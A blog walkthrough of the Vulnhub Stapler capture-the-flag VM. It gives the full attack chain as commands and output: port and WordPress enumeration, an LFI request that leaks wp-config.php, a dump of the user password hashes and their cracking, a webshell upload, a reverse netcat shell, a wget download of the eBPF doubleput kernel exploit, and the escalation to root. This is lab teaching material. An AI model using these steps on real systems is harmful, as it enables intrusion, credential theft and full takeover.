Stapler 1 Writeup

This time we are against Stapler which is the boot2root vm presented by Vulnhub for their workshop in BSidesLondon.

Let's start as usual by nmaping the host

[email protected]:~# nmap -A -T4 -sV -p- -v 192.168.52.143

Starting Nmap 7.12 ( https://nmap.org ) at 2016-07-04 16:41 EEST
NSE: Loaded 138 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 16:41
Completed NSE at 16:41, 0.00s elapsed
Initiating NSE at 16:41
Completed NSE at 16:41, 0.00s elapsed
Initiating ARP Ping Scan at 16:41
Scanning 192.168.52.143 [1 port]
Completed ARP Ping Scan at 16:41, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:41
Completed Parallel DNS resolution of 1 host. at 16:41, 0.03s elapsed
Initiating SYN Stealth Scan at 16:41
Scanning 192.168.52.143 [65535 ports]
Discovered open port 80/tcp on 192.168.52.143
Discovered open port 53/tcp on 192.168.52.143
Discovered open port 3306/tcp on 192.168.52.143
Discovered open port 139/tcp on 192.168.52.143
Discovered open port 22/tcp on 192.168.52.143
Discovered open port 21/tcp on 192.168.52.143
Discovered open port 12380/tcp on 192.168.52.143
SYN Stealth Scan Timing: About 22.96% done; ETC: 16:44 (0:01:44 remaining)
SYN Stealth Scan Timing: About 58.51% done; ETC: 16:43 (0:00:43 remaining)
Discovered open port 666/tcp on 192.168.52.143
Completed SYN Stealth Scan at 16:43, 88.82s elapsed (65535 total ports)
Initiating Service scan at 16:43
Scanning 8 services on 192.168.52.143
Completed Service scan at 16:43, 18.59s elapsed (8 services on 1 host)
Initiating OS detection (try #1) against 192.168.52.143
NSE: Script scanning 192.168.52.143.
Initiating NSE at 16:43
Completed NSE at 16:44, 32.08s elapsed
Initiating NSE at 16:44
Completed NSE at 16:44, 0.02s elapsed
Nmap scan report for 192.168.52.143
Host is up (0.00057s latency).
Not shown: 65523 filtered ports
PORT      STATE  SERVICE     VERSION
20/tcp    closed ftp-data
21/tcp    open   ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: Can't parse PASV response: "Permission denied."
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|_  256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
53/tcp    open   domain      dnsmasq 2.75
| dns-nsid: 
|_  bind.version: dnsmasq-2.75
80/tcp    open   http
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: 404 Not Found
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn Samba smbd 3.X (workgroup: RED)
666/tcp   open   doom?
3306/tcp  open   mysql       MySQL 5.7.12-0ubuntu1
| mysql-info: 
|   Protocol: 53
|   Version: .7.12-0ubuntu1
|   Thread ID: 10
|   Capabilities flags: 63487
|   Some Capabilities: Speaks41ProtocolNew, ConnectWithDatabase, DontAllowDatabaseTableColumn, LongPassword, IgnoreSigpipes, Speaks41ProtocolOld, InteractiveClient, Support41Auth, LongColumnFlag, ODBCClient, SupportsTransactions, FoundRows, SupportsLoadDataLocal, SupportsCompression, IgnoreSpaceBeforeParenthesis
|   Status: Autocommit
|_  Salt: \x07I\x18\x0CTm\x1A[\x01%\x11oV\x7Fc*G\x7F9\x1B
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Tim, we need to-do better next year for Initech
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.12%I=7%D=7/4%Time=577A67FA%P=x86_64-pc-linux-gnu%r(GetRe
SF:quest,27F,"HTTP/1\.0\x20404\x20Not\x20Found\r\nConnection:\x20close\r\n
SF:Content-Type:\x20text/html;\x20charset=UTF-8\r\nContent-Length:\x20533\
SF:r\n\r\n404\x20Not\x20Found
SF:\n

Not\x20Found

SF:The\x20requested\x20resource\x20/\x20w SF:as\x20not\x20found\x20on\x20this\x20server\.")%r(HTTP SF:Options,27F,"HTTP/1\.0\x20404\x20Not\x20Found\r\nConnection:\x20close\r SF:\nContent-Type:\x20text/html;\x20charset=UTF-8\r\nContent-Length:\x2053 SF:3\r\n\r\n404\x20Not\x20Found</titl SF:e><style>\nbody\x20{\x20background-color:\x20#fcfcfc;\x20color:\x20#333 SF:333;\x20margin:\x200;\x20padding:0;\x20}\nh1\x20{\x20font-size:\x201\.5 SF:em;\x20font-weight:\x20normal;\x20background-color:\x20#9999cc;\x20min- SF:height:2em;\x20line-height:2em;\x20border-bottom:\x201px\x20inset\x20bl SF:ack;\x20margin:\x200;\x20}\nh1,\x20p\x20{\x20padding-left:\x2010px;\x20 SF:}\ncode\.url\x20{\x20background-color:\x20#eeeeee;\x20font-family:monos SF:pace;\x20padding:0\x202px;}\n</style>\n</head><body><h1> Not\x20Found</h SF:1><p> The\x20requested\x20resource\x20<code\x20class=\"url\">/</code>\x2 SF:0was\x20not\x20found\x20on\x20this\x20server\.</p> </body></html>")%r(Fo SF:urOhFourRequest,2A2,"HTTP/1\.0\x20404\x20Not\x20Found\r\nConnection:\x2 SF:0close\r\nContent-Type:\x20text/html;\x20charset=UTF-8\r\nContent-Lengt SF:h:\x20568\r\n\r\n<!doctype\x20html><html><head><title>404\x20Not\x20Fou SF:nd\n

Not\x20 SF:Found

The\x20requested\x20resource\x20/ni SF:ce%20ports%2C/Tri%6Eity\.txt%2ebak\x20was\x20not\x20found\x20on\ SF:x20this\x20server\."); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port666-TCP:V=7.12%I=7%D=7/4%Time=577A67F4%P=x86_64-pc-linux-gnu%r(NULL SF:,2D58,"PK\x03\x04\x14\0\x02\0\x08\0d\x80\xc3Hp\xdf\x15\x81\xaa,\0\0\x15 SF:2\0\0\x0c\0\x1c\0message2\.jpgUT\t\0\x03\+\x9cQWJ\x9cQWux\x0b\0\x01\x04 SF:\xf5\x01\0\0\x04\x14\0\0\0\xadz\x0bT\x13\xe7\xbe\xefP\x94\x88\[email protected]\xa2 SF:\x20\x19\xabUT\xc4T\x11\xa9\x102>\x8a\xd4RDK\x15\x85Jj\xa9\"DL\[E\xa2\x SF:0c\x19\x140<\xc4\xb4\xb5\xca\xaen\x89\x8a\x8aV\x11\x91W\xc5H\x20\x0f\xb SF:2\xf7\xb6\x88\n\[email protected]%\x99d\xb7\xc8#;3\[\r_\xcddr\x87\xbd\xcf9\xf7\xaeu\ SF:xeeY\xeb\xdc\xb3oX\xacY\xf92\xf3e\xfe\xdf\xff\xff\xff=2\x9f\xf3\x99\xd3 SF:\x08y}\xb8a\xe3\x06\xc8\xc5\x05\x82>`\xfe\x20\xa7\x05:\xb4y\xaf\xf8\xa0 SF:\xf8\xc0\^\xf1\x97sC\x97\xbd\x0b\xbd\xb7nc\xdc\xa4I\xd0\xc4\+j\xce\[\x8 SF:7\xa0\xe5\x1b\xf7\xcc=,\xce\x9a\xbb\xeb\xeb\xdds\xbf\xde\xbd\xeb\x8b\xf SF:4\xfdis\x0f\xeeM\?\xb0\xf4\x1f\xa3\xcceY\xfb\xbe\x98\x9b\xb6\xfb\xe0\xd SF:c\]sS\xc5bQ\xfa\xee\xb7\xe7\xbc\x05AoA\x93\xfe9\xd3\x82\x7f\xcc\xe4\xd5 SF:\x1dx\xa2O\x0e\xdd\x994\x9c\xe7\xfe\x871\xb0N\xea\x1c\x80\xd63w\xf1\xaf SF:\xbd&&q\xf9\x97'i\x85fL\x81\xe2\\\xf6\xb9\xba\xcc\x80\xde\x9a\xe1\xe2:\ SF:xc3\xc5\xa9\x85`\x08r\x99\xfc\xcf\x13\xa0\x7f{\xb9\xbc\xe5:i\xb2\x1bk\x SF:8a\xfbT\x0f\xe6\x84\x06/\xe8-\x17W\xd7\xb7&\xb9N\x9e<\xb1\\\.\xb9\xcc\x SF:e7\xd0\xa4\x19\x93\xbd\xdf\^\xbe\xd6\xcdg\xcb\.\xd6\xbc\xaf\|W\x1c\xfd\ SF:xf6\xe2\x94\xf9\xebj\xdbf~\xfc\x98x'\xf4\xf3\xaf\x8f\xb9O\xf5\xe3\xcc\x SF:9a\xed\xbf`a\xd0\xa2\xc5KV\x86\xad\n\x7fou\xc4\xfa\xf7\xa37\xc4\|\xb0\x SF:f1\xc3\x84O\xb6nK\xdc\xbe#\)\xf5\x8b\xdd{\xd2\xf6\xa6g\x1c8\x98u\(\[r\x SF:f8H~A\xe1qYQq\xc9w\xa7\xbe\?}\xa6\xfc\x0f\?\x9c\xbdTy\xf9\xca\xd5\xaak\ SF:xd7\x7f\xbcSW\xdf\xd0\xd8\xf4\xd3\xddf\xb5F\xabk\xd7\xff\xe9\xcf\x7fy\x SF:d2\xd5\xfd\xb4\xa7\xf7Y_\?n2\xff\xf5\xd7\xdf\x86\^\x0c\x8f\x90\x7f\x7f\ SF:xf9\xea\xb5m\x1c\xfc\xfef\"\.\x17\xc8\xf5\?B\xff\xbf\xc6\xc5,\x82\xcb\[ SF:\x93&\xb9NbM\xc4\xe5\xf2V\xf6\xc4\t3&M~{\xb9\x9b\xf7\xda-\xac\]_\xf9\xc SF:c\[qt\x8a\xef\xbao/\xd6\xb6\xb9\xcf\x0f\xfd\x98\x98\xf9\xf9\xd7\x8f\xa7 SF:\xfa\xbd\xb3\[email protected]\x84\xf6\x8f\xc8\xfe{\x81\x1d\xfb\x1fE\xf6\x1f\x81\x SF:fd\xef\xb8\xfa\xa1i\xae\.L\xf2\\[email protected]\x08D\xbb\xbfp\xb5\xd4\xf4Ym\x0bI\x96 SF:\x1e\xcb\x879-a\)T\x02\xc8\$\x14k\x08\xae\xfcZ\x90\xe6E\xcb, NetBIOS MAC: (unknown) | Names: | RED<00> Flags: | RED<03> Flags: | RED<20> Flags: | WORKGROUP<00> Flags: |_ WORKGROUP<1e> Flags: | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.9-Ubuntu) | Computer name: red | NetBIOS computer name: RED | Domain name: | FQDN: red |_ System time: 2016-07-04T17:40:45+01:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smbv2-enabled: Server supports SMBv2 protocol TRACEROUTE HOP RTT ADDRESS 1 0.57 ms 192.168.52.143 NSE: Script Post-scanning. Initiating NSE at 16:44 Completed NSE at 16:44, 0.00s elapsed Initiating NSE at 16:44 Completed NSE at 16:44, 0.00s elapsed Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 142.52 seconds Raw packets sent: 131153 (5.772MB) | Rcvd: 91 (4.240KB)

Well that's a bit too much output there but I can see several services running. To make it a bit easier I run another scan, this time with Sparta, in order to automate a few things like using nikto on webservers and a bit of bruteforcing on other services etc.


Among other things and during the tests, some login credentials were found for ftp, with no significant files, however the more interesting findings are the ones for port 12380.


So I know that SSL is used, also interesting entries in robots.txt, a phpmyadmin directory etc.
First, I visit /admin112233/


Yeah thank god it wasn't a beef hook. A little bit of trolling in this page.
Moving on to the /blogblog/ page.


Well, it's a blog. And a wordpress from what it proudly states.


So let's fire up wpscan and see what it can find. First of, let's look for some users.

[email protected]:~# wpscan -u https://192.168.52.143:12380/blogblog/ -e u[1-200]
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __  
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.1
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: https://192.168.52.143:12380/blogblog/
[+] Started: Mon Jul  4 17:07:30 2016
[+] Enumerating usernames ...
[+] Identified the following 16 user/s:
    +----+---------+-----------------+
    | Id | Login   | Name            |
    +----+---------+-----------------+
    | 1  | john    | John Smith      |
    | 2  | elly    | Elly Jones      |
    | 3  | peter   | Peter Parker    |
    | 4  | barry   | Barry Atkins    |
    | 5  | heather | Heather Neville |
    | 6  | garry   | garry           |
    | 7  | harry   | harry           |
    | 8  | scott   | scott           |
    | 9  | kathy   | kathy           |
    | 10 | tim     | tim             |
    | 11 | zoe     | ZOE             |
    | 12 | dave    | Dave            |
    | 13 | simon   | Simon           |
    | 14 | abby    | Abby            |
    | 15 | vicki   | Vicki           |
    | 16 | pam     | Pam             |
    +----+---------+-----------------+

[+] Finished: Mon Jul  4 17:07:36 2016
[+] Requests Done: 240
[+] Memory used: 37.84 MB
[+] Elapsed time: 00:00:05

The output about the plugins has been omitted since it was a bit too much. I got an entire list of usernames. Moving on to the plugins.

[email protected]:~/ctfs/stapler# wpscan -u https://192.168.52.143:12380/blogblog/ -e ap
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __  
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.1
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: https://192.168.52.143:12380/blogblog/
[+] Started: Mon Jul  4 19:03:39 2016
[+] We found 4 plugins:

[+] Name: advanced-video-embed-embed-videos-or-playlists - v1.0
 |  Latest version: 1.0 (up to date)
 |  Location: https://192.168.52.143:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
 |  Readme: https://192.168.52.143:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
[!] Directory listing is enabled: https://192.168.52.143:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/

[+] Name: akismet
 |  Latest version: 3.1.11 
 |  Location: https://192.168.52.143:12380/blogblog/wp-content/plugins/akismet/

[!] We could not determine a version so all vulnerabilities are printed out

[!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8215
    Reference: http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
    Reference: https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
[i] Fixed in: 3.1.5

[+] Name: shortcode-ui - v0.6.2
 |  Latest version: 0.6.2 (up to date)
 |  Location: https://192.168.52.143:12380/blogblog/wp-content/plugins/shortcode-ui/
 |  Readme: https://192.168.52.143:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
[!] Directory listing is enabled: https://192.168.52.143:12380/blogblog/wp-content/plugins/shortcode-ui/

[+] Name: two-factor
 |  Latest version: 0.1-dev-20160412 
 |  Location: https://192.168.52.143:12380/blogblog/wp-content/plugins/two-factor/
 |  Readme: https://192.168.52.143:12380/blogblog/wp-content/plugins/two-factor/readme.txt
[!] Directory listing is enabled: https://192.168.52.143:12380/blogblog/wp-content/plugins/two-factor/

[+] Finished: Mon Jul  4 19:19:29 2016
[+] Requests Done: 60835
[+] Memory used: 221.965 MB
[+] Elapsed time: 00:15:49

Again, some output has been left out since it was too much, but the interesting part is that 4 plugins were successfully identified out of  an all-plugin enumeration (-e ap). The interesting one in our case is the advanced video plugin.

A quick search returns the following

[email protected]:~/ctfs/stapler# searchsploit advanced video
---------------------------------------------------------------------------------------------------------------------------- ----------------------------------
 Exploit Title                                                                                                              |  Path
                                                                                                                            | (/usr/share/exploitdb/platforms)
---------------------------------------------------------------------------------------------------------------------------- ----------------------------------
WordPress Advanced Video Plugin 1.0 - Local File Inclusion (LFI)                                                            | ./php/webapps/39646.py
---------------------------------------------------------------------------------------------------------------------------- ----------------------------------

So I have an exploit that I can hopefully use based on the version of the plugin, which if all goes well, should give us the contents of wp-config.php.

[email protected]:~/ctfs/stapler# python 39646.py
Traceback (most recent call last):
  File "39646.py", line 41, in <module>
    objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
  File "/usr/lib/python2.7/urllib2.py", line 154, in urlopen
    return opener.open(url, data, timeout)
  File "/usr/lib/python2.7/urllib2.py", line 429, in open
    response = self._open(req, data)
  File "/usr/lib/python2.7/urllib2.py", line 447, in _open
    '_open', req)
  File "/usr/lib/python2.7/urllib2.py", line 407, in _call_chain
    result = func(*args)
  File "/usr/lib/python2.7/urllib2.py", line 1241, in https_open
    context=self._context)
  File "/usr/lib/python2.7/urllib2.py", line 1198, in do_open
    raise URLError(err)
urllib2.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:590)>

Meh, trying to run it is all like "certificate error blah blah" so I decide to do it manually.

Per the exploits instructions, a call to

http://[wordpress location]/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=[FILEPATH]

should give me a new post, that contains an image with the contents of the file specified.
So in my case, the url becomes

https://192.168.52.143:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php

After I visit that through the browser, the page says that there is a new article.


However, when I visit that article directly, there is nothing there. By taking a look in the uploads folder though images from my tests can be seen in there directly.


Downloading the latest one and...

[email protected]:~/ctfs/stapler# cat ../../Downloads/1738476070.jpeg 
<?php
/**
 * The base configurations of the WordPress.
 *
 * This file has the following configurations: MySQL settings, Table Prefix,
 * Secret Keys, and ABSPATH. You can find more information by visiting
 * {@link https://codex.wordpress.org/Editing_wp-config.php Editing wp-config.php}
 * Codex page. You can get the MySQL settings from your web host.
 *
 * This file is used by the wp-config.php creation script during the
 * installation. You don't have to use the web site, you can just copy this file
 * to "wp-config.php" and fill in the values.
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'plbkac');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

Ok so we got some database credentials. Let's connect to the database and see what we can find.

[email protected]:~/ctfs/stapler# mysql -u root -p -h 192.168.52.143
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 122200
Server version: 5.7.12-0ubuntu1 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| loot               |
| mysql              |
| performance_schema |
| phpmyadmin         |
| proof              |
| sys                |
| wordpress          |
+--------------------+
8 rows in set (0.00 sec)

mysql>

Many databases with interesting stuff and a message in database proof.

mysql> use proof;
Database changed
mysql> show tables;
+-----------------+
| Tables_in_proof |
+-----------------+
| message         |
+-----------------+
1 row in set (0.00 sec)

mysql> select * from message;
+--------------------------------------------------------------------------+
| text                                                                     |
+--------------------------------------------------------------------------+
| Vicki, You really need to sort out this database when you get the chance |
+--------------------------------------------------------------------------+
1 row in set (0.02 sec)

However, let's get to the point here. The important thing is that I can now get all the credentials for the blog's users, and see if I can get myself a shell with any of them.

mysql> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select user_login,user_pass FROM wp_users;
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| John       | $P$B7889EMq/erHIuZapMB8GEizebcIy9. |
| Elly       | $P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 |
| Peter      | $P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0 |
| barry      | $P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0 |
| heather    | $P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10 |
| garry      | $P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1 |
| harry      | $P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0 |
| scott      | $P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1 |
| kathy      | $P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0 |
| tim        | $P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0 |
| ZOE        | $P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1 |
| Dave       | $P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy. |
| Simon      | $P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0 |
| Abby       | $P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs. |
| Vicki      | $P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131 |
| Pam        | $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0 |
+------------+------------------------------------+
16 rows in set (0.00 sec)

Now since we have those credentials, it's time to do some password cracking. First, I copy them in a proper list for john to read and then I start john with the "rockyou.txt" wordlist.

[email protected]:~/ctfs/stapler# cat credentials.txt 
John:$P$B7889EMq/erHIuZapMB8GEizebcIy9.
Elly:$P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0
Peter:$P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0
barry:$P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0
heather:$P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10
garry:$P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1
harry:$P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0
scott:$P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1
kathy:$P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0
tim:$P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0
ZOE:$P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1
Dave:$P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy.
Simon:$P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0
Abby:$P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs.
Vicki:$P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131
Pam:$P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0
[email protected]:~/ctfs/stapler# john --wordlist=/usr/share/wordlists/rockyou.txt credentials.txt
Using default input encoding: UTF-8
Loaded 16 password hashes with 16 different salts (phpass [phpass ($P$ or $H$) 128/128 SSE2 4x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

Now, after a little while results start poping out.

[email protected]:~/ctfs/stapler# john --wordlist=/usr/share/wordlists/rockyou.txt credentials.txt
Using default input encoding: UTF-8
Loaded 16 password hashes with 16 different salts (phpass [phpass ($P$ or $H$) 128/128 SSE2 4x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cookie           (scott)
monkey           (harry)
football         (garry)
coolgirl         (kathy)
washere          (barry)
incorrect        (John)
thumb            (tim)
0520             (Pam)

I connect with them to the blog. The admin panel login page is /wp-admin/ which is usual for wordpress based sites. John's password "incorrect" works beautifully and i'm in.


From there, and since John is an admin of the page, I head to the plugin page with my trusted b374k webshell in hand. Hitting Add New -> Upload Plugin and selecting the php file for upload.


However, after hitting the final button...


The upload is supposed to happen through ftp, and unfortuantely the credentials are not correct...
However, when I move over at the media gallery...


Great! The file has been uploaded despite the login error. Now, if the file was uploaded and installed as a plugin, I would be able to find it in /wp-content/plugins/pluginname/file.php. However since it is just uploaded as a file, it resides in /wp-content/uploads/


Aaand there we have it. My webshell is up and running. Now it's time for some enumeration.

/tmp/39772/>uname -a
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux

/tmp/39772/>cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04 LTS"

Now wait a minute. With a quick search on exploit-db we come up with this a well know and verified exploit for that particular setup we're up against.

With my b374k in place, I start a reverse netcat shell from the network tab.


The listener needs to be up before the run button is clicked. On my local machine

[email protected]:~/ctfs/stapler# nc -lvv -p 1337
listening on [any] 1337 ...
192.168.52.143: inverse host lookup failed: Unknown host
connect to [192.168.52.138] from (UNKNOWN) [192.168.52.143] 48456
b374k shell : connected
/bin/sh: 0: can't access tty; job control turned off
/tmp>wget https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/39772.zip
--2016-07-05 00:05:52--  https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/39772.zip
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.12.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.12.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7115 (6.9K) [application/zip]
Saving to: '39772.zip'

     0K ......                                                100% 1.53M=0.004s

2016-07-05 00:05:52 (1.53 MB/s) - '39772.zip' saved [7115/7115]

/tmp>unzip 39772.zip
Archive:  39772.zip
  inflating: 39772/.DS_Store         
  inflating: __MACOSX/39772/._.DS_Store  
  inflating: 39772/crasher.tar       
  inflating: __MACOSX/39772/._crasher.tar  
  inflating: 39772/exploit.tar       
  inflating: __MACOSX/39772/._exploit.tar
/tmp>cd 39772
/tmp/39772>tar -xvf exploit.tar
ebpf_mapfd_doubleput_exploit/
ebpf_mapfd_doubleput_exploit/hello.c
ebpf_mapfd_doubleput_exploit/suidhelper.c
ebpf_mapfd_doubleput_exploit/compile.sh
ebpf_mapfd_doubleput_exploit/doubleput.c
/tmp/39772>cd ebpf_mapfd_doubleput_exploit/
/tmp/39772/ebpf_mapfd_doubleput_exploit>./compile.sh
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .insns = (__aligned_u64) insns,
             ^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .license = (__aligned_u64)""
               ^
/tmp/39772/ebpf_mapfd_doubleput_exploit>

Now, those are just warnings, nothing to be alarmed about. Then finally all there is left is to run exploit.

/tmp/39772/ebpf_mapfd_doubleput_exploit>./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
python -c 'import pty; pty.spawn("/bin/bash")'
[email protected]:/tmp/39772/ebpf_mapfd_doubleput_exploit# whoami
whoami
root
[email protected]:/tmp/39772/ebpf_mapfd_doubleput_exploit#

All done. What is left now, is to go grab the flag.

[email protected]:/tmp/39772/ebpf_mapfd_doubleput_exploit# cd /root
cd /root
[email protected]:/root# cat flag.txt
cat flag.txt
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  
              `----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b

That's it. We got the cookies! A great ctf, with I believe a lot more ways of being completed. Thanks a lot to g0tmi1k for bringing this ctf together and sharing it with the community in BSidesLondon and of course for his great effort on Vulnhub and hosting all these ctfs.
Cheers!


Comments

  1. Hi,

    Here you are sending the 39772.zip file. I have the exact same problem like I just explained at your MrRobot blog. Any help would be very appreciated!!

    ReplyDelete
    Replies
    1. Hey there,

      Check my reply on the other post. From what I understand that must be your issue.

      Cheers

      Delete

Post a Comment